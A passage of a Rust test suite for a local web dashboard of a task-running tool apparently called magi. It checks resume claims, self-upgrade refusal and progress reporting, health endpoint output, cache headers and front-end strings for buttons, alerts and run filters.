7665 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7666 assert!(err.contains("stop it first"), "{err}");
7667 }
7668
7669 #[test]
7670 fn a_run_cannot_be_resumed_twice_at_once() {
7671 let home = TempDir::new().expect("temp home");
7672 let ui = Ui::new(
7673 Queue::at(home.path().join("queue")),
7674 Questions::at(home.path().join("questions")),
7675 Talks::at(home.path().join("talks")),
7676 home.path().join("runs"),
7677 home.path().to_path_buf(),
7678 PathBuf::from("/repo"),
7679 )
7680 .with_worktrees_root(home.path().join("wt"));
7681 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7682 let again = ui.begin_resume("20260901-000000-once");
7683 assert!(again.is_err(), "a second tap must not start a second graph");
7684 drop(first);
7685 assert!(
7686 ui.begin_resume("20260901-000000-once").is_ok(),
7687 "and the claim is released when the attempt ends"
7688 );
7689 }
7690
7691 #[test]
7692 fn talk_thinking_tracks_only_its_held_turn_claim() {
7693 let home = TempDir::new().expect("temp home");
7694 let ui = Ui::new(
7695 Queue::at(home.path().join("queue")),
7696 Questions::at(home.path().join("questions")),
7697 Talks::at(home.path().join("talks")),
7698 home.path().join("runs"),
7699 home.path().to_path_buf(),
7700 PathBuf::from("/repo"),
7701 )
7702 .with_worktrees_root(home.path().join("wt"));
7703 let id = "20260901-000000-once";
7704
7705 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7706 let turn = ui.begin_talk_turn(id).expect("claim turn");
7707 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7708 assert!(
7709 !ui.is_thinking("20260901-000000-other"),
7710 "one talk's turn does not make another talk busy"
7711 );
7712 drop(turn);
7713 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7714 }
7715
7716 #[tokio::test]
7717 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7718 let fx = Fixture::start().await;
7719 let mut beat = crate::daemon::Status::new();
7723 beat.pid = 4321;
7724 beat.updated_at = jiff::Timestamp::now();
7725 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7726 .expect("publish a heartbeat");
7727
7728 let res = fx.post("/api/upgrade", None).await;
7729 assert_eq!(res.status, 409);
7730 let err = res.json()["error"].as_str().unwrap().to_owned();
7731 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7732 assert!(err.contains("old one against the same queue"), "{err}");
7733 }
7734
7735 #[test]
7742 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7743 assert!(!should_spawn_recheck(&crate::config::Update {
7744 mode: UpdateMode::Off,
7745 interval: None,
7746 }));
7747
7748 unsafe {
7751 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7752 }
7753 let killed = should_spawn_recheck(&crate::config::Update {
7754 mode: UpdateMode::Notify,
7755 interval: None,
7756 });
7757 unsafe {
7758 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7759 }
7760 assert!(
7761 !killed,
7762 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7763 one-time startup check"
7764 );
7765
7766 assert!(should_spawn_recheck(&crate::config::Update {
7767 mode: UpdateMode::Notify,
7768 interval: None,
7769 }));
7770 }
7771
7772 #[test]
7778 fn recheck_poll_period_tracks_a_short_configured_interval() {
7779 let short = crate::config::Update {
7780 mode: UpdateMode::Notify,
7781 interval: Some("1m".to_owned()),
7782 };
7783 let period = recheck_poll_period(&short);
7784 assert!(
7785 period <= Duration::from_secs(30),
7786 "a one-minute interval must wake the task far sooner than the \
7787 default ceiling, or the deck would not notice within the \
7788 interval the operator configured: got {period:?}"
7789 );
7790
7791 let default = crate::config::Update {
7792 mode: UpdateMode::Notify,
7793 interval: None,
7794 };
7795 assert_eq!(
7796 recheck_poll_period(&default),
7797 UPDATE_RECHECK_POLL_MAX,
7798 "the default day-long interval should poll at the (capped) \
7799 ceiling rather than needlessly often"
7800 );
7801 }
7802
7803 #[test]
7811 fn recheck_skips_the_network_before_the_interval_elapses() {
7812 let dir = TempDir::new().expect("temp dir");
7813 let path = dir.path().join("state.json");
7814 let state = kaishin::UpdateCheckState {
7815 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7816 last_known_latest: None,
7817 last_known_url: None,
7818 };
7819 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7820
7821 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7822 assert!(
7823 !update_recheck_due(&checker, None),
7824 "a check made moments ago must not be repeated before the \
7825 configured interval elapses"
7826 );
7827 }
7828
7829 #[test]
7835 fn recheck_defers_to_an_upgrade_already_in_flight() {
7836 let dir = TempDir::new().expect("temp dir");
7837 let path = dir.path().join("state.json");
7838 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7839 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7840
7841 assert!(
7842 !update_recheck_due(&checker, Some(&progress)),
7843 "a recheck must not run while an upgrade this deck started is \
7844 still moving"
7845 );
7846 }
7847
7848 #[tokio::test]
7849 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7850 unsafe {
7862 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7863 }
7864 let fx = Fixture::start().await;
7865 let res = fx.post("/api/upgrade", None).await;
7866 unsafe {
7867 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7868 }
7869 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7870 let body = res.json();
7871 assert!(body["to"].is_null(), "there was no release to move to");
7872 assert!(body["parked"].is_null(), "and nothing was parked");
7873 assert!(
7874 body["detail"]
7875 .as_str()
7876 .unwrap()
7877 .contains("disabled by MAGI_NO_AUTOUPDATE"),
7878 "{body:?}"
7879 );
7880 }
7881
7882 #[tokio::test]
7883 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7884 let repo = TempDir::new().expect("repo dir");
7900 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7901 .expect("write magi.toml");
7902 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7903
7904 let res = fx.post("/api/upgrade", None).await;
7910 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7911 let body = res.json();
7912 assert!(body["to"].is_null(), "there was no release to move to");
7913 assert!(body["parked"].is_null(), "and nothing was parked");
7914 assert!(
7915 body["detail"]
7916 .as_str()
7917 .unwrap()
7918 .contains("nothing restarted"),
7919 "{body:?}"
7920 );
7921 }
7922
7923 #[tokio::test]
7924 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7925 let repo = TempDir::new().expect("repo dir");
7930 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7931 .expect("write magi.toml");
7932 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7933
7934 let health = fx.get("/api/health").await.json();
7935 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7936 assert_eq!(
7937 health["update"]["available"], false,
7938 "checking is off, which reads as \"unknown\", not \"none\""
7939 );
7940 assert!(health["update"]["to"].is_null());
7941 assert!(
7942 health["upgrade"].is_null(),
7943 "nothing has ever asked this deck to upgrade"
7944 );
7945 }
7946
7947 #[tokio::test]
7948 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7949 let fx = Fixture::start().await;
7950 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7951
7952 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7953 progress.parked_run = Some("20260905-000000-cd51".to_owned());
7954 progress.advance(crate::updater::Stage::Parking);
7955 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7956
7957 let health = fx.get("/api/health").await.json();
7958 assert_eq!(health["upgrade"]["stage"], "parking");
7959 assert_eq!(health["upgrade"]["from"], "0.5.1");
7960 assert_eq!(health["upgrade"]["to"], "0.5.2");
7961 let waiting_on = health["upgrade"]["waiting_on"]
7962 .as_str()
7963 .expect("waiting_on is set while parking a known run");
7964 assert!(waiting_on.contains("cd51"), "{waiting_on}");
7965 assert!(waiting_on.contains("implementing"), "{waiting_on}");
7966 }
7967
7968 #[tokio::test]
7969 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7970 let fx = Fixture::start().await;
7971 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7972 progress.advance(crate::updater::Stage::Done);
7973 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7974
7975 let health = fx.get("/api/health").await.json();
7976 assert_eq!(health["upgrade"]["stage"], "done");
7977 assert!(
7978 health["upgrade"]["waiting_on"].is_null(),
7979 "nothing to wait on once it is done"
7980 );
7981 }
7982
7983 #[tokio::test]
7984 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7985 let home = TempDir::new().expect("temp home");
7986 let runs = home.path().join("runs");
7987 std::fs::create_dir_all(&runs).expect("runs dir");
7988 let ui = Ui::new(
7989 Queue::at(home.path().join("queue")),
7990 Questions::at(home.path().join("questions")),
7991 Talks::at(home.path().join("talks")),
7992 runs,
7993 home.path().to_path_buf(),
7994 PathBuf::from("/repo/magi"),
7995 )
7996 .with_launch(launch_idle);
7997 let looping = ui.looping();
7998 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7999 .await
8000 .expect("bind loopback");
8001 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8002
8003 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8004 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8005
8006 hand_over(home.path(), &looping, served, || Ok(()))
8007 .await
8008 .expect("hand over");
8009
8010 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8011 assert_eq!(
8012 after.stage,
8013 crate::updater::Stage::Restarting,
8014 "hand_over owns the record through parking and up to restarting; \
8015 the successor is what finishes it"
8016 );
8017 }
8018
8019 #[test]
8020 fn the_upgrade_button_arms_before_it_restarts_anything() {
8021 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8024 assert!(APP_JS.contains("Replace the binary and restart?"));
8025 assert!(APP_JS.contains("function confirmed("));
8026 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8031 assert!(
8035 APP_JS.contains("Parking, then restarting"),
8036 "the button says what it is waiting for"
8037 );
8038 assert!(APP_JS.contains("if (!out.to)"));
8041 }
8042
8043 #[test]
8044 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8045 assert!(
8046 APP_JS.contains("state.health.version"),
8047 "the operator wants to know what is running even with nothing newer"
8048 );
8049 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8050 }
8051
8052 #[test]
8053 fn the_upgrade_button_names_its_destination() {
8054 assert!(
8055 APP_JS.contains("`Update to ${update.to}`"),
8056 "pressing the button should not be a surprise about what it moves to"
8057 );
8058 }
8059
8060 #[test]
8061 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8062 for stage in ["downloading", "replaced", "parking", "restarting"] {
8063 assert!(
8064 APP_JS.contains(&format!("\"{stage}\"")),
8065 "the phone must be able to tell {stage} apart from the others"
8066 );
8067 }
8068 assert!(APP_JS.contains(".waiting_on"));
8069 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8074 assert!(APP_JS.contains("reconnects on its own"));
8075 }
8076
8077 #[test]
8078 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8079 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8088 ..APP_JS.find("function upgrade(").expect("upgrade")];
8089 assert!(
8090 !body.contains(
8091 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8092 ),
8093 "a failed upgrade must not take the whole strip over the way it used to"
8094 );
8095 assert!(
8096 body.contains("upgradeFailNote"),
8097 "the failure has to reach the loop's own note instead"
8098 );
8099 assert_eq!(
8103 body.matches("upgradeFailNote].filter(Boolean).join")
8104 .count(),
8105 2,
8106 "both loop-why writers (quiet and control) must fold the note in"
8107 );
8108 }
8109
8110 #[test]
8111 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8112 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8115 assert!(APP_JS.contains("function upgradeOverdue("));
8116 }
8117
8118 #[test]
8119 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8120 assert!(
8121 APP_JS.contains("Updated to ${upgradeInfo.to"),
8122 "the operator who asked for the restart wants to know it worked"
8123 );
8124 }
8125
8126 #[test]
8127 fn an_error_is_visible_from_where_the_button_is() {
8128 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8133 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8134 assert!(
8135 alert.contains("position: fixed"),
8136 "an error about the thing under your thumb has to be visible from \
8137 where your thumb is: {alert}"
8138 );
8139 assert!(
8140 alert.contains("z-index: 25"),
8141 "above the dock (20) and the run-actions FAB (15), so neither \
8142 buries it: {alert}"
8143 );
8144 assert!(
8145 alert.contains("var(--tap)"),
8146 "and clear of the dock and the home indicator: {alert}"
8147 );
8148 assert!(
8151 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8152 "the FAB's column stays free: {alert}"
8153 );
8154 }
8155
8156 #[tokio::test]
8157 async fn an_older_attempt_says_what_replaced_it() {
8158 let fx = Fixture::start().await;
8159 let q = fx.queue();
8160 let runs = fx.runs();
8161 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8162 write_run(&runs, first, RunStatus::Stalled);
8163 write_run(&runs, second, RunStatus::Blocked);
8164
8165 let mut t = Task::new(
8166 "one task".to_owned(),
8167 "do it".to_owned(),
8168 PathBuf::from("/repo"),
8169 Source::Human,
8170 );
8171 t.runs = vec![first.to_owned(), second.to_owned()];
8172 q.put(&mut t).expect("put");
8173
8174 let rows = fx.get("/api/runs").await.json();
8178 let by = |short: &str| -> Value {
8179 rows.as_array()
8180 .unwrap()
8181 .iter()
8182 .find(|r| r["short"] == short)
8183 .cloned()
8184 .unwrap_or(Value::Null)
8185 };
8186 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8187 assert!(
8188 by("bbbb")["superseded_by"].is_null(),
8189 "the latest attempt is not superseded by anything"
8190 );
8191 assert!(APP_JS.contains("run.superseded_by"));
8193 assert!(APP_JS.contains("Superseded by"));
8194 }
8195
8196 #[tokio::test]
8197 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8198 let fx = Fixture::start().await;
8199 let js = fx.get("/app.js").await;
8205 assert_eq!(js.status, 200);
8206 let tag = js
8207 .header("etag")
8208 .expect("an etag to revalidate against")
8209 .to_owned();
8210 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8211 assert_eq!(
8212 js.header("cache-control"),
8213 Some("no-cache, must-revalidate"),
8214 "the phone has to ask every time"
8215 );
8216
8217 let again = fx
8220 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8221 .await;
8222 assert_eq!(
8223 again.status, 304,
8224 "a deck it already has costs one round trip"
8225 );
8226 assert!(again.body.is_empty(), "304 carries no body");
8227
8228 let weak = fx
8231 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8232 .await;
8233 assert_eq!(weak.status, 304);
8234 let stale = fx
8235 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8236 .await;
8237 assert_eq!(stale.status, 200, "an older build must be replaced");
8238 assert!(stale.body.contains("renderRunActions"));
8239 }
8240
8241 #[test]
8242 fn the_deck_never_sends_the_operator_to_a_terminal() {
8243 assert!(
8246 !APP_JS.contains("Run `magi fold` first"),
8247 "the deck must offer the fold, not prescribe a shell command"
8248 );
8249 assert!(APP_JS.contains("foldRun:"));
8250 assert!(APP_JS.contains("resumeRun:"));
8251 assert!(APP_JS.contains("renderRunActions"));
8252
8253 assert!(APP_JS.contains("armedFold"));
8255 assert!(APP_JS.contains("Yes, fold worktrees"));
8256
8257 assert!(APP_JS.contains("can no longer be resumed"));
8260 }
8261
8262 #[test]
8263 fn a_finished_run_explains_itself_with_its_own_last_line() {
8264 assert!(
8270 !APP_JS.contains("collapsed on agent quota"),
8271 "a stall must not be explained by a cause the deck did not check"
8272 );
8273 assert!(
8274 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8275 "and a block must not offer a guess with an `or` in it"
8276 );
8277
8278 assert!(
8282 APP_JS.contains("setText(r.event, run.event || \"\")"),
8283 "the run's last line is rendered unconditionally"
8284 );
8285 assert!(
8286 !APP_JS.contains("moving && run.event"),
8287 "and never gated on the run still moving"
8288 );
8289
8290 assert!(APP_JS.contains("lost to quota"));
8292 }
8293
8294 #[test]
8316 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8317 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8318 let shapes_body_start =
8319 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8320 let shapes_close = APP_JS[shapes_body_start..]
8321 .find("].map(")
8322 .expect("the shape list is closed by its done-computing .map(...)")
8323 + shapes_body_start;
8324 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8325
8326 let mut shapes: Vec<(bool, String)> = Vec::new();
8327 for entry in shapes_src.split('{').skip(1) {
8328 let waiting = entry.contains("waiting: true");
8329 let status_at =
8330 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8331 let status_end = entry[status_at..]
8332 .find('"')
8333 .expect("the status string is closed")
8334 + status_at;
8335 shapes.push((waiting, entry[status_at..status_end].to_string()));
8336 }
8337 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8338
8339 let done_rule_marker = "done: !";
8343 let done_rule_at = APP_JS[shapes_close..]
8344 .find(done_rule_marker)
8345 .expect("the done rule follows the shape list")
8346 + shapes_close
8347 + done_rule_marker.len();
8348 let includes_at = APP_JS[done_rule_at..]
8349 .find(".includes(shape.status)")
8350 .expect("the done rule ends in .includes(shape.status)")
8351 + done_rule_at;
8352 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8353 .trim()
8354 .trim_start_matches('[')
8355 .trim_end_matches(']')
8356 .split(',')
8357 .map(|s| s.trim().trim_matches('"'))
8358 .filter(|s| !s.is_empty())
8359 .collect();
8360
8361 let shapes: Vec<(bool, String, bool)> = shapes
8362 .into_iter()
8363 .map(|(waiting, status)| {
8364 let done = !not_done.contains(&status.as_str());
8365 (waiting, status, done)
8366 })
8367 .collect();
8368
8369 fn run_section(waiting: bool, status: &str) -> &'static str {
8373 if waiting {
8374 return "waiting";
8375 }
8376 match status {
8377 "merged" | "ready" => "landed",
8378 "stalled" | "blocked" | "failed" => "ended",
8379 _ => "flight",
8380 }
8381 }
8382
8383 fn filter_matches(filter_key: &str, waiting: bool, done: bool) -> bool {
8386 match filter_key {
8387 "active" => !done,
8388 "flight" => !done && !waiting,
8389 "waiting" => waiting,
8390 "done" => done,
8391 "all" => true,
8392 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8393 }
8394 }
8395
8396 let compatible = |section: &str, filter_key: &str| {
8397 shapes.iter().any(|(waiting, status, done)| {
8398 run_section(*waiting, status) == section
8399 && filter_matches(filter_key, *waiting, *done)
8400 })
8401 };
8402
8403 let expected = [
8408 ("waiting", [true, false, true, true, true]),
8409 ("flight", [true, true, false, false, true]),
8410 ("landed", [false, false, false, true, true]),
8411 ("ended", [false, false, false, true, true]),
8412 ];
8413 let filter_keys = ["active", "flight", "waiting", "done", "all"];
8414
8415 for (section, wants) in expected {
8416 for (filter_key, want) in filter_keys.iter().zip(wants) {
8417 assert_eq!(
8418 compatible(section, filter_key),
8419 want,
8420 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8421 );
8422 }
8423 }
8424
8425 assert!(
8428 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8429 );
8430 assert!(APP_JS.contains(
8431 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8432 ));
8433 assert!(APP_JS.contains(
8434 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8435 ));
8436 }
8437}